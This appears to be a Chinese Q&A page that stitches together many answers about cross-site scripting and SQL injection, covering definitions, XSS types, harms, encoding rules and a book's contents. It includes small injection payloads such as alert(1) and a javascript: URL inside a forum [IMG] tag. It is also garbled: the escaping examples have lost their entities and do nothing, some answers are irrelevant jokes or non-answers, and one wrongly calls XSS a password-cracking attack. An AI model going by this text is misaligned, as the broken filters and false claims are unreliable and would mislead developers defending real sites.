跨站脚本攻击xss和css的区别

如何处理网站的跨站脚本和SQL注入攻击？随着互联网技术的发展，网站安全问题越来越受到大家的关注。很多网站在运行过程中都会遭受到跨站脚本和SQL注入攻击。如果不及时处理，这些安全漏洞将会给网站带来巨大的损失。本文将介绍如何处理网站的跨站脚本和SQL注入攻击。首先，我们来了解一下跨站脚本攻击和SQL注入攻击的概念。跨站脚本攻击（CrossSiteScripting，XSS），简称为XSS攻击，指攻击者通过注入恶意脚本，使用户在浏览网页时执行恶意脚本，从而达到盗取用户个人信息或者伪造用户行为等目的的一种攻击方式。SQL注入攻击（SQLInjection），是指通过将恶意SQL语句插入到Web表单或者URL查询字符串中，欺骗服务器对恶意SQL语句的执行，在不进行有效验证的情况下，导致服务器返回恶意结果信息的攻击方式。为了防止网站的跨站脚本和SQL注入攻击，我们需要采取一些措施。一、输入过滤网站管理员需要在数据输入阶段进行严格的过滤，避免用户在表单中输入恶意内容，比如删除HTML标签等。在PHP中，我们可以使用htmlspecialchars函数来进行HTML转义，从而过滤掉恶意的HTML标签。二、使用预编译语句网站管理员需要使用预编译语句来防止SQL注入攻击。在PHP中，我们可以使用PDO的prepare和execute函数来执行SQL语句，从而达到预编译的目的。这样可以有效防止SQL注入攻击。三、启用安全策略网站管理员需要启用安全策略，比如设置HTTP响应头、使用防火墙等，来保护网站的安全。我们可以设置HTTP响应头来限制XSS攻击，比如设置X-XSS-Protection、X-Content-Type-Options等响应头。同时，我们也可以使用防火墙来防止网络攻击。总之，网站管理员需要认真对待网站的安全问题，采取各种措施来保护网站的安全。只有这样，我们才能够让用户信息得到有效保护，同时也能有效的避免网站因为安全漏洞而带来的损失。

　　跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。　　用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时，通常会点击其中的链接。攻击者通过在链接中插入恶意代码，就能够盗取用户信息。攻击者通常会用十六进制（或其他编码方式）将链接编码，以免用户怀疑它的合法性。　　网站在接收到包含恶意代码的请求之后会产成一个包含恶意代码的页面，而这个页面看起来就像是那个网站应当生成的合法页面一样。许多流行的留言本和论坛程序允许用户发表包含HTML和javascript的帖子。　　假设用户甲发表了一篇包含恶意脚本的帖子，那么用户乙在浏览这篇帖子时，恶意脚本就会执行，盗取用户乙的session信息。　　跨站脚本攻击，三步如下：　　1.HTML注入。所有HTML注入范例只是注入一个JavaScript弹出式的警告框：alert(1)。　　2.做坏事。如果您觉得警告框还不够刺激，当受害者点击了一个被注入了HTML代码的页面链接时攻击者能作的各种的恶意事情。　　3.诱捕受害者。

XSS攻击通常指的是通过利用网页开发时留下的漏洞，通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java、VBscript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限、私密网页内容、会话和cookie等各种内容。其攻击原理：XSS主要分为：反射型XSS、存储型XSS、DOM型XSS三种攻击类型，而每种类型的攻击原理都不一样。其中反射型XSS和DOM-based型XSS可以归类为非持久型XSS攻击，存储型XSS归类为持久型XSS攻击。反射型XSS：攻击者可通过特定的方式来诱惑受害者去访问一个包含恶意代码的URL。当受害者点击恶意链接url的时候，恶意代码会直接在受害者的主机上的浏览器执行。存储型XSS：主要是将恶意代码上传或存储到服务器中，下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。DOM-based型XSS：客户端的脚本程序可以动态地检查和修改页面内容，而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行，如果用户在客户端输入的数据包含了恶意的JavaScript脚本，而这些脚本没有经过适当的过滤和消毒，那么应用程序就可能受到DOM-based XSS攻击。需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer等。

　　1 引言 　　 　　在Web 2.0出现以前，跨站脚本（XSS）攻击不是那么引人注目，但是在Web 2.0出现以后，配合流行的AJAX技术，XSS的危害性达到了十分严重的地步。比如，世界上第一个跨站脚本蠕虫发生在MySpace网站，20小时内就传染了一百万个用户，最后导致该网站瘫痪。因此我认为，XSS是在脚本环境下的溢出漏洞，其危害性绝不亚于传统的缓冲区溢出漏洞。 　　 　　2 XSS攻击的定义 　　 　　跨站脚本英文名称是（Cross Site Script），为了与层叠样式表（Cascading Style Sheets）区分，故命名为XSS。 　　XSS攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面时，嵌入其中的脚本将被解释执行。 　　 　　3 跨站脚本漏洞的成因 　　 　　3.1XSS成因概括 　　XSS其实就是Html的注入问题，攻击者的输入没有经过严格的控制进入了数据库最 　　终显示给来访的用户，导致可以在来访用户的浏览器里以浏览用户的身份执行Html代码，数据流程如下：攻击者的Html输入―>web程序―>进入数据库―>web程序―>用户浏览器。 　　3.2常规跨站漏洞 　　我们来看一段接收评论的代码： 　　 　　 可以看到，从客户端输入的所有变量没有经过任何过滤就直接进入了数据库。攻击者可以在表单中输入：，点击提交后，那么其他用户在浏览该页面时就会不知不觉打开一个预先挂有木马的页面https://www.省略/muma.html，如果没打相应的补丁，就会中马。当然XSS的攻击方式还有很多，比如通过跨站将上传的图片备份直接得到WebShell、结合AJAX技术通过蠕虫攻击等，因为这不是本文的重点，在这里就不一一列举了。 　　3.3 UBB跨站漏洞 　　在很多论坛里发帖时，点击图片模样的按钮，在编辑区域就会出现[IMG][/IMG]的字样，这是采用了一种UBB编码的方式，如果攻击者输入[IMG] javascript：alert(”XSS”) [/IMG]，它会默认将其转换为，通过这种方式诱发的跨站漏洞称为UBB跨站漏洞。 　　 　　4 防范方法 　　 　　4.1针对常规跨站漏洞 　　在常规的跨站漏洞中，正是因为攻击者可以不受限制地引入“>”，导致了他可以操纵一个html标记，从而诱发了XSS攻击。因此首先就要过滤掉“>”： 　　Replace(str,””,”>”) 　　4.2针对UBB跨站漏洞 　　UBB跨站漏洞的防范相对来说比较复杂，首先攻击者必须引入javascript或vbscript代码来达到攻击的目的，所以首先要过滤中javascript后面的冒号，将其用中文的冒号替代： 　　Replace(str,”:”,”：”) 　　但是HTML支持ASCII这样的编码，攻击者又可以通过重新达到目的（58是冒号的十进制ASCII码），所以必须过滤&符号： 　　Replace(str,”&”,”&”) 　　 以上虽然已经过滤了来自标签属性的威胁，攻击者还是可以通过触发一个错误事件来达到目的。所以还需过滤掉以下字符： 　　Replace(str,” ”,” ”)//过滤空格 　　Replace(str,”=”,”=”)//过滤等号 　　Replace(str,””””,”"”)//过滤双引号 　　 　　5 结束语 　　 　　通过以上分析我们看到，XSS是一种危害较大、较难防范，并且更加隐蔽的攻击方式。其实只要明白其原理，再加上勤加思考防范的对策，就可以根治XSS漏洞。 　　 　　参考文献 　　[1]叶子青. ASP网络开发入门与实践.人民邮电出版社,2006. 　　[2]韩国峰,柯华坤,王磊. ASP网站开发典型模块与实例精讲.电子工业出版社,2006.

【答案】：跨站点脚本通过使用已知的漏洞(如基于Web的应用程序，其服务器或用户依赖的插件)来实现。通过将恶意代码插入似乎是可信赖的源链接。当用户点击此链接时，恶意代码将作为客户端Web请求的一部分运行，并在用户的计算机上执行，从而允许攻击者窃取信息。有三种类型的跨站脚本：非持久型或反射型XSS、存储型XSS、服务器端与基于DOM的漏洞。

XSS是一种跨站脚本攻击(Cross Site Scripting)，为了与css(层叠样式表)区分,故被人们称为Xss.它的攻击原理就是恶意浏览者构造巧妙的脚本恶意代码 通过网站功能存入到网站的数据库里面，如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库，合法用户在访问这些页面的时候 程序将数据库里面的信息输出， 这些恶意代码就会被执行。跨站脚本攻击（XSS），是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。扩展资料：XSS网络攻击与钓鱼攻击相比，XSS攻击所带来的危害更大，通常具有如下特点：1、由于XSS攻击在用户当前使用的应用程序中执行，用户将会看到与其有关的个性化信息，如账户信息或“欢迎回来”消息，克隆的Web站点不会显示个性化信息。2、通常，在钓鱼攻击中使用的克隆Web站点一经发现，就会立即被关闭。3、许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器，可阻止用户访问恶意的克隆站点。4、如果客户访问一个克隆的Web网银站点，银行一般不承担责任。但是，如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户，则银行将不能简单地推卸责任。参考资料来源：百度百科-XSS攻击

常见的网络攻击技术有：1，跨站脚本攻击。跨站脚本攻击可以将代码注入到用户浏览的网页上，这种代码包括HTML和JavaScript。2，跨站请求伪造攻击。跨站请求伪造攻击是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作（如发邮件，发消息，甚至财产操作如转账和购买商品）。由于浏览器曾经认证过，所以被访问的网站会认为是真正的用户操作而去执行。3，SQL注入攻击。这种攻击的原理是服务器上的数据库运行非法的SQL语句，主要通过拼接来完成。更多关于常见的网络攻击技术有哪些，进入：https://m.abcgonglue.com/ask/727a011615832671.html?zd查看更多内容

1、持久型跨站：最直接的危害类型，跨站代码存储在服务器（数据库）。2、非持久型跨站：反射型跨站脚本漏洞，最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。3、DOM跨站（DOM XSS）:DOM(document object model文档对象模型)，客户端脚本处理逻辑导致的安全问题。扩展资料：跨站脚本攻击产生的原因是网站过于相信用户的输入，那么解决的办法也很直接，就是从根本上不相信用户的任何输入。一个安全的网站应当对任何用户的任何输入都要进行检查，特别是对用户提交到服务器中保存的数据，更要做筛选。这种攻击与反射型攻击不同的是，它会把自己的攻击代码保存在网站的服务器上，这样，任何访问了这个页面的用户，都会受到这个攻击。参考资料来源：百度百科-跨站脚本攻击

第一部分 web的安全需求1.1 Web安全的体系结构，包du括主机安全，网络安全和应用安全;1.2 Web浏览器和服务器的安全需求;在已知的web服务器(包括软硬件)漏洞中，针对该类型web服务器的攻击最少;对服务器的管理操作只能由授权用户执行;拒绝通过web访问web服务器上不公开发布的内容;禁止内嵌在OS或者 web server软件中的不必要的网络服务;有能力控制对各种形式的.exe程序的访问;能够对web操作进行日志记录，以便于进行入侵检测和入侵企图分析;具有适当的容错功能;1.3 Web传输的安全需求Web服务器必须和内部网络隔离：有四种实现方式，应选择使用高性能的cisco防火墙实现隔离Web服务器必须和数据库隔离;维护一份web站点的安全拷贝：来自开发人员最终发布的版本(内容安全);其次，存储的地点是安全的(另一台独立的位于防火墙之后的内网的主机);

我也不知道

你好~XSS漏洞产生的原因：跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体，用制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的，对用户输入数据的”编码”和”过滤”在任何时候都是很重要的，我们必须采取一些针对性的手段对其进行防御。如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码1 .需要重点”编码”和”过滤”的对象The URLHTTP referrer objectsGET parameters from a formPOST parameters from a formWindow.locationDocument.referrerdocument.locationdocument.URLdocument.URLUnencodedcookie dataheaders datadatabase data防御XSS有一个原则:以当前的应用系统为中心，所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据)，所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)对输入的数据进行”过滤”，对输出数据进行”编码”。这里的”编码”也要注意，必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode，如果数据是输出到javascript代码中进行拼接的，那就要进行javascriptEncode。如果不搞清楚数据具体输出的语境，就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。

使用工具和测试防范跨站点脚本攻击. 跨站点脚本（XSS）攻击是当今主要的攻击途径之一，利用了Web站点的漏洞并使用浏览器来窃取cookie或进行金融交易。跨站点脚本漏洞比较常见，并且要求组织部署涵盖威胁建模、扫描工具和大量安全意识在内的周密的安全开发生命周期，以便达到最佳的XSS防护和预防。本文解释了跨站点脚本攻击是如何实现并且就如何保护企业Web应用免于这种攻击提供了建议。 跨站点脚本（XSS）允许攻击者通过利用因特网服务器的漏洞来发送恶意代码到其他用户。攻击者利用跨站点脚本（XSS）攻击向那些看似可信任的链接中注入恶意代码。当用户点击了链接后，内嵌的程序将被提交并且会在用户的电脑上执行，这会使黑客获取访问权限并偷走敏感数据。攻击者使用XSS来攻击受害者机器上的漏洞并且传输恶意代码而不是攻击系统本身。 通过用户输入的数据返回错误消息的Web表格，攻击者可以修改控制Web页面的HTML代码。黑客能够在垃圾信息中的链接里插入代码或者使用欺诈邮件来诱使用户对其身份产生信任。 例如攻击者可以发送带有URL的邮件给受害人，这个URL指向一个Web站点并且提供浏览器脚本作为输入；或者在博客或诸如Facebook、Twitter这样的社交网站上发布恶意URL链接。当用户点击这个链接时，该恶意站点以及脚本将会在其浏览器上运行。浏览器不知道脚本是恶意的并将盲目地运行这个程序，这转而允许攻击者的浏览器脚本使用站点的功能来窃取cookie或者冒充合法的用户来完成交易。 一些通常的跨站点脚本预防的最佳实践包括在部署前测试应用代码，并且以快速、简明的方式修补缺陷和漏洞。Web应用开发人员应该过滤用户的输入来移除可能的恶意字符和浏览器脚本，并且植入用户输入过滤代码来移除恶意字符。通常管理员也可以配置浏览器只接受来自信任站点的脚本或者关闭浏览器的脚本功能，尽管这样做可能导致使用Web站点的功能受限。 随着时代的进步黑客们变得更加先进，使用收集的工具集来加快漏洞攻击进程。这意味着仅仅部署这些通常的XSS预防实践是不够的，保护和预防过程必须从底层开始并持续提升。预防过程必须在开发阶段开始，建立在一个牢靠、安全的开发生命周期方法论之上的Web应用在发布版本中不太可能暴露出漏洞。这样以来，不仅提升了安全性，也改善了可用性而且缩减了维护的总体费用，因为在现场环境中修补问题比在开发阶段会花费更多。 威胁建模在XSS预防中也是重要的一个方面，应该纳入到每个组织的安全开发生命周期当中。威胁建模评估和辨识在开发阶段中应用程序面临的所有的风险，来帮助Web开发人员更好地理解需要什么样的保护以及攻击一旦得逞将对组织产生怎样的影响。要辨识一个特定应用的威胁级别，考虑它的资产以及它访问的敏感信息量是十分重要的。这个威胁建模过程将确保在应用的设计和开发过程中战略性地融合了安全因素，并且增强了Web开发人员的安全意识。 对于大型项目的Web开发人员来说，源代码扫描工具和Web应用漏洞扫描器是提高效率和减少工作量的通常选择。

跨站脚本攻击属于口令破解攻击。跨站脚本攻击（也称为XSS）指利用网站漏洞从用户那里恶意盗取信息。背景介绍网站中包含大量的动态内容以提高用户体验，比过去要复杂得多。所谓动态内容，就是根据用户环境和需要，Web应用程序能够输出相应的内容。

小学生的恶称，骂小学生的。

(1)钓鱼欺骗：利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站，或者注入钓鱼JavaScript以监控目标网站的表单输入，甚至发起基于DHTML更高级的钓鱼攻击方式。(2)网站挂马：跨站时利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上，或者弹出恶意网站窗口等方式都可以进行挂马攻击。(3)身份盗用：Cookie是用户对于特定网站的身份验证标志，XSS可以盗取到用户的Cookie，从而利用该Cookie盗取用户对该网站的操作权限，如果一个网站管理员用户Cookie被窃取，将会对网站引发巨大的危害。(4)盗取网站用户信息：当能够窃取到用户Cookie从而获取到用户身份，攻击者可以获得到用户对网站的操作权限，从而查看用户隐私信息。(5)垃圾信息发送：比如在SNS社区中，利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。(6)劫持用户Web行为：一些高级的XSS攻击甚至可以劫持用户的Web行为，监视用户的浏览历史，发送与接收的数据等等。(7)XSS蠕虫：XSS蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。

下列规则旨在防止所有发生在应用程序的XSS攻击，虽然这些规则不允许任意向HTML文档放入不可信数据，不过基本上也涵盖了绝大多数常见的情况。你不需要采用所有规则，很多企业可能会发现第一条和第二条就已经足以满足需求了。请根据自己的需求选择规则。 – 不要在允许位置插入不可信数据第一条规则就是拒绝所有数据，不要将不可信数据放入HTML文档，除非是下列定义的插槽。这样做的理由是在理列有解码规则的HTML中有很多奇怪的context，让事情变得很复杂，因此没有理由将不可信数据放在这些context中。<script>...NEVERPUTUNTRUSTEDDATAHERE...</script>　directlyinascript　　<!--...NEVERPUTUNTRUSTEDDATAHERE...-->　insideanHTMLcomment　　<div...NEVERPUTUNTRUSTEDDATAHERE...=test/>　inanattributename　　<...NEVERPUTUNTRUSTEDDATAHERE...href=/test/>　inatagname更重要的是，不要接受来自不可信任来源的JavaScript代码然后运行，例如，名为“callback”的参数就包含JavaScript代码段，没有解码能够解决。 – 在向HTML元素内容插入不可信数据前对HTML解码这条规则适用于当你想把不可信数据直接插入HTML正文某处时，这包括内部正常标签(div、p、b、td等)。大多数网站框架都有HTML解码的方法且能够躲开下列字符。但是，这对于其他HTML context是远远不够的，你需要部署其他规则。<body>...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE... </body>　　　<div>...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...</div>　　以及其他的HTML常用元素使用HTML实体解码躲开下列字符以避免切换到任何执行内容，如脚本、样式或者事件处理程序。在这种规格中推荐使用十六进制实体，除了XML中5个重要字符(&、<、 >、 、 ")外，还加入了斜线符，以帮助结束HTML实体。&-->&　　<--><　　>-->>　　-->　　"-- >"&apos;isnotrecommended　　/-- >/forwardslashisincludedasithelpsendanHTMLentity – 在向HTML常见属性插入不可信数据前进行属性解码这条规则是将不可信数据转化为典型属性值(如宽度、名称、值等)，这不能用于复杂属性(如href、src、style或者其他事件处理程序)。这是及其重要的规则，事件处理器属性(为HTML JavaScript Data Values)必须遵守该规则。<divattr=...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...>content</div>　insideUNquotedattribute　　<divattr="...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...">content</div>　insidesinglequotedattribute　　<divattr=...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...>content</div>　insidedoublequotedattribute除了字母数字字符外，使用小于256的ASCII值&#xHH格式(或者命名的实体)对所有数据进行解码以防止切换属性。这条规则应用广泛的原因是因为开发者常常让属性保持未引用，正确引用的属性只能使用相应的引用进行解码。未引用属性可以被很多字符破坏，包括[space] % * + , - / ; < = > ^ 和 |。 – 在向HTML JavaScript Data Values插入不可信数据前，进行JavaScript解码这条规则涉及在不同HTML元素上制定的JavaScript事件处理器。向这些事件处理器放置不可信数据的唯一安全位置就是“data value”。在这些小代码块放置不可信数据是相当危险的，因为很容易切换到执行环境，因此请小心使用。<script>alert("...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...")</script>　insideaquotedstring　　<script>x=...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...</script>　onesideofanexpression　　<divonmouseover=...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...</div>　insideUNquotedeventhandler　　<divonmouseover="...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE..."</div>　insidequotedeventhandler　　<divonmouseover=...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...</div>　insidequotedeventhandler除了字母数字字符外，使用小于256的ASCII值xHH格式 对所有数据进行解码以防止将数据值切换至脚本内容或者另一属性。不要使用任何解码捷径(如 )因为引用字符可能被先运行的HTML属性解析器相匹配。如果事件处理器被引用，则需要相应的引用来解码。这条规则的广泛应用是因为开发者经常让事件处理器保持未引用。正确引用属性只能使用相应的引用来解码，未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。同时，由于HTML解析器比JavaScript解析器先运行，关闭标签能够关闭脚本块，即使脚本块位于引用字符串中。 – 在向HTML 样式属性值插入不可信数据前，进行CSS解码当你想将不可信数据放入样式表或者样式标签时，可以用此规则。CSS是很强大的，可以用于许多攻击。因此，只能在属性值中使用不可信数据而不能在其他样式数据中使用。不能将不可信数据放入复杂的属性(如url,、behavior、和custom (-moz-binding))。同样，不能将不可信数据放入允许JavaScript的IE的expression属性值。<style>selector{property:...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...;}</style>　propertyvalue　　<spanstyle=property:...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...;>text</style>　propertyvalue除了字母数字字符外，使用小于256的ASCII值HH格式对所有数据进行解码。不要使用任何解码捷径(如 )因为引用字符可能被先运行的HTML属性解析器相匹配，防止将数据值切换至脚本内容或者另一属性。同时防止切换至expression或者其他允许脚本的属性值。如果属性被引用，将需要相应的引用进行解码，所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。同时，由于HTML解析器比JavaScript解析器先运行，</script>标签能够关闭脚本块，即使脚本块位于引用字符串中。 - 在向HTML URL属性插入不可信数据前，进行URL解码当你想将不可信数据放入链接到其他位置的link中时需要运用此规则。这包括href和src属性。还有很多其他位置属性，不过我们建议不要在这些属性中使用不可信数据。需要注意的是在javascript中使用不可信数据的问题，不过可以使用上述的HTML JavaScript Data Value规则。<ahref=http://...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE...>link</a>　anormallink　　<imgsrc="http://...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE..."/>　animagesource　　<scriptsrc=http://...ESCAPEUNTRUSTEDDATABEFOREPUTTINGHERE.../>　ascriptsource除了字母数字字符外，使用小于256的ASCII值%HH 解码格式对所有数据进行解码。在数据中保护不可信数据：URL不能够被允许，因为没有好方法来通过解码来切换URL以避免攻击。所有的属性都应该被引用。未引用属性可以使用任何字符(包括[space] % * + , - / ; < = > ^ 和|)解码。 请注意实体编码在这方面是没用的。

从网站开发者角度，如何防护XSS攻击?来自应用安全国际组织OWASP的建议，对XSS最佳的防护应该结合以下两种方法：验证所有输入数据，有效检测攻击；对所有输出数据进行适当的编码，以防止任何已成功注入的脚本在浏览器端运行。具体如下：输入验证：某个数据被接受为可被显示或存储之前，使用标准输入验证机制，验证所有输入数据的长度、类型、语法以及业务规则。输出编码：数据输出前，确保用户提交的数据已被正确进行entity编码，建议对所有字符进行编码而不仅局限于某个子集。明确指定输出的编码方式：不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。注意黑名单验证方式的局限性：仅仅查找或替换一些字符(如< >或类似script的关键字)，很容易被XSS变种攻击绕过验证机制。警惕规范化错误：验证输入之前，必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。从网站用户角度，如何防护XSS攻击?当你打开一封Email或附件、浏览论坛帖子时，可能恶意脚本会自动执行，因此，在做这些操作时一定要特别谨慎。建议在浏览器设置中关闭JavaScript。如果使用IE浏览器，将安全级别设置到“高”。具体可以参照浏览器安全的相关文章。这里需要再次提醒的是，XSS攻击其实伴随着社会工程学的成功应用，需要增强安全意识，只信任值得信任的站点或内容。可以通过一些检测工具进行xss的漏洞检测，类似工具有亿思网站安全检测平台。针对xss的漏洞带来的危害是巨大，如有发现，应立即修复漏洞。

目　录　　第1章　XSS初探　1　　1.1　跨站脚本介绍　1　　1.1.1　什么是XSS跨站脚本　2　　1.1.2　XSS跨站脚本实例　4　　1.1.3　XSS漏洞的危害　6　　1.2　XSS的分类　8　　1.2.1　反射型XSS　8　　1.2.2　持久型XSS　10　　1.3　XSS的简单发掘　12　　1.3.1　搭建测试环境　12　　1.3.2　发掘反射型的XSS　12　　1.3.3　发掘持久型的XSS　15　　1.4　XSS Cheat Sheet　18　　1.5　XSS构造剖析　21　　1.5.1　绕过XSS-Filter　22　　1.5.2　利用字符编码　33　　1.5.3　拆分跨站法　37　　1.6　Shellcode的调用　39　　1.6.1　动态调用远程JavaScript　40　　1.6.2　使用window.location.hash　41　　1.6.3　XSS Downloader　41　　1.6.4　备选存储技术　43　　第2章　XSS利用方式剖析　45　　2.1　Cookie窃取攻击剖析　45　　2.1.1　Cookie基础介绍　46　　2.1.2　Cookie会话攻击原理剖析　48　　2.1.3　Cookie欺骗实例剖析　49　　2.2　会话劫持剖析　51　　2.2.1　了解Session机制　51　　2.2.2　XSS实现权限提升　52　　2.2.3　获取网站Webshell　55　　2.3　网络钓鱼　57　　2.3.1　XSS Phishing　57　　2.3.2　XSS钓鱼的方式　59　　2.3.3　高级钓鱼技术　60　　2.4　XSS History Hack　63　　2.4.1　链接样式和getComputedStyle()　64　　2.4.2　JavaScript/CSS history hack　64　　2.4.3　窃取搜索查询　65　　2.5　客户端信息刺探　67　　2.5.1　JavaScript实现端口扫描　67　　2.5.2　截获剪贴板内容　68　　2.5.3　获取客户端IP地址　70　　2.6　其他恶意攻击剖析　71　　2.6.1　网页挂马　71　　2.6.2　DOS和DDOS　72　　2.6.3　XSS Virus/Worm　73　　第3章　XSS测试和工具剖析　75　　3.1　Firebug　75　　3.2　Tamper Data　80　　3.3　Live HTTP Headers　82　　3.4　Fiddler　84　　3.5　XSS-Proxy　86　　3.6　XSS Shell　90　　3.7　AttackAPI　94　　3.8　Anehta　98　　第4章　发掘XSS漏洞　104　　4.1　黑盒工具测试　104　　4.2　黑盒手动测试　107　　4.3　源代码安全审计　110　　4.4　JavaScript代码分析　118　　4.4.1　DOM简介　118　　4.4.2　第三种XSS——DOM XSS　120　　4.4.3　发掘基于DOM的XSS　123　　4.5　发掘Flash XSS　126　　4.6　巧用语言特性　129　　4.6.1　PHP 4 phpinfo() XSS　130　　4.6.2　$_SERVER[PHP_SELF]　131　　4.6.3　变量覆盖　132　　第5章　XSS Worm剖析　135　　5.1　Web 2.0应用安全　135　　5.1.1　改变世界的Web 2.0　135　　5.1.2　浅谈Web 2.0的安全性　137　　5.2　Ajax技术指南　138　　5.2.1　使用Ajax　139　　5.2.2　XMLHttpRequest对象　140　　5.2.3　HTTP请求　142　　5.2.4　HTTP响应　142　　5.3　浏览器安全　145　　5.3.1　沙箱　145　　5.3.2　同源安全策略　146　　5.4　XSS Worm介绍　147　　5.4.1　蠕虫病毒剖析　147　　5.4.2　XSS Worm攻击原理剖析　148　　5.4.3　XSS Worm剖析　149　　5.4.4　运用DOM技术　150　　5.5　新浪微博蠕虫分析　153　　第6章　Flash应用安全　156　　6.1　Flash简介　156　　6.1.1　Flash Player 与SWF　156　　6.1.2　嵌入Flash文件　158　　6.1.3　ActionScript语言　158　　6.2　Flash安全模型　160　　6.2.1　Flash安全沙箱　161　　6.2.2　Cross Domain Policy　162　　6.2.3　设置管理器　164　　6.3　Flash客户端攻击剖析　165　　6.3.1　getURL() &amp; XSS　165　　6.3.2　Cross Site Flashing　169　　6.3.3　Flash参数型注入　171　　6.3.4　Flash钓鱼剖析　173　　6.4　利用Flash进行XSS攻击剖析　174　　6.5　利用Flash进行CSRF　178　　第7章　深入XSS原理　181　　7.1　深入浅出CSRF　182　　7.1.1　CSRF原理剖析　182　　7.1.2　CSRF实例讲解剖析　185　　7.1.3　CSRF的应用剖析　187　　7.2　Hacking JSON　187　　7.2.1　JSON概述　187　　7.2.2　跨域JSON注入剖析　190　　7.2.3　JSON Hijacking　191　　7.3　HTTP Response Splitting　193　　7.3.1　HTTP Header　193　　7.3.2　CRLF Injection原理　195　　7.3.3　校内网HRS案例　197　　7.4　MHTML协议的安全　199　　7.5　利用Data URIs进行XSS剖析　203　　7.5.1　Data URIs介绍　203　　7.5.2　Data URIs XSS　204　　7.5.3　vBulletin Data URIs XSS　206　　7.6　UTF-7 BOM XSS　206　　7.7　浏览器插件安全　211　　7.7.1　Flash后门　211　　7.7.2　来自PDF的XSS　213　　7.7.3　QuickTime XSS　217　　7.8　特殊的XSS应用场景剖析　218　　7.8.1　基于Cookie的XSS　218　　7.8.2　来自RSS的XSS　220　　7.8.3　应用软件中的XSS　222　　7.9　浏览器差异　225　　7.9.1　跨浏览器的不兼容性　226　　7.9.2　IE嗅探机制与XSS　226　　7.9.3　浏览器差异与XSS　228　　7.10　字符集编码隐患　231　　第8章　防御XSS攻击　234　　8.1　使用XSS Filter　234　　8.1.1　输入过滤　235　　8.1.2　输出编码　237　　8.1.3　黑名单和白名单　239　　8.2　定制过滤策略　240　　8.3　Web安全编码规范　244　　8.4　防御DOM-Based XSS　248　　8.5　其他防御方式　250　　8.5.1　Anti_XSS　250　　8.5.2　HttpOnly Cookie　252　　8.5.3　Noscript　253　　8.5.4　WAF　254　　8.6　防御CSRF攻击　255　　8.6.1　使用POST替代GET　256　　8.6.2　检验HTTP Referer　257　　8.6.3　验证码　258　　8.6.4　使用Token　259　　参考文献　262

我不知道

所谓的XSS攻击全称跨站脚本攻击，是一种在Web应用中的计算机安全漏洞，允许恶意Web用户将代码植入到提供给其它用户使用的页面中，分为反射型、DOM-based型以及存储型三大类。防御方法如下：1、基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样，都是利用了Web页面的编写不完善，所以每一个漏洞所利用和针对的弱点都不尽相同，这就是给XSS漏洞防御带来的困难，不可能以单一特征来概括所有XSS攻击。传统的XSS防御在进行攻击鉴别时多采用特征匹配方式，主要是针对JavaScript这个关键词进行检索，但是这种鉴别不够灵活，凡是提交的信息中各有JavaScript时，就被硬性的判定为XSS攻击。2、基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误或漏洞，XSS攻击正是利用了失误和漏洞，因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞，避免被攻击：①用户向服务器上提交的信息要对URL和附带的HTTP头、POST数据等进行查询，对不是规定格式、长度的内容进行过滤。②实现Session标记、CAPTCHA系统或者HTTP引用头检查，以防功能被第三方网站所执行。③确认接收的内容被妥善的规范化，仅包含最小的、安全的Tag，去掉任何对远程内容的引用，使用HTTP 